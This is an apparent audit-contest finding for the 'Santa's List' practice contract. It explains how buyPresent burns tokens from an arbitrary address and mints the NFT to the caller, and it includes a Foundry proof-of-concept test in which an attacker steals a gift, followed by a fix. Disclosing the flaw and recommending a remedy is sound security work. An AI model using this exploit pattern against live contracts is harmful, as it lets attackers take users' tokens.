First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Stealing a gift using "buyPresent" function

dentonylifer

Summary

Malicious user can steal a gift using vulnerable "buyPresent" function.

Vulnerability Details

Function "buyPresent" allows users to exchange santatoken for gift NFT:

/*
* @notice Buy a present for someone else. This should only be callable by anyone with SantaTokens.
* @dev You'll first need to approve the SantasList contract to spend your SantaTokens.
*/

For example, a victim wants to buy NFTs for his naughty friend, so he first calls a "approve" function for his santatokens. A malicious user notices this and preempts the victim by calling the "buyPresent" function, specifying victim's address as an argument. Since the tokens are burned from the specified address:

function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver);

  • the victim will lose the tokens. But in return, the naughty friend will not receive NFT, as the "_mintAndIncrement" function offers a gift to the one who called it:

function _mintAndIncrement() private {
_safeMint(msg.sender, s_tokenCounter++);
}

In this case, the malicious user is msg.sender, and he will receive the NFT without losing anything.

Working Test Case

function testStealPresent() public {
address Mal_user = makeAddr("Mal_user");
​
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(user);
santasList.collectPresent();
//victim wants to buy NFTs for his naughty friend
santaToken.approve(address(santasList), 1e18);
vm.stopPrank();
​
vm.startPrank(Mal_user);
santasList.buyPresent(user);
assertEq(santaToken.balanceOf(user), 0);
assertEq(santasList.balanceOf(Mal_user), 1);
vm.stopPrank();
}

Tools Used

Manual review, forge.

Recommendations

Recommended to change the "buyPresent" function like this:

  1. msg.sender of the function burns his santatokens;

  2. presentReceiver receives a gift by entering his address in the "_mintAndIncrement" function:

function buyPresent(address presentReceiver) external {
i_santaToken.burn(msg.sender);
_mintAndIncrement(presentReceiver);
}
​
function _mintAndIncrement(address mintAddress) private {
_safeMint(mintAddress, s_tokenCounter++);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

buyPresent should send to presentReceiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.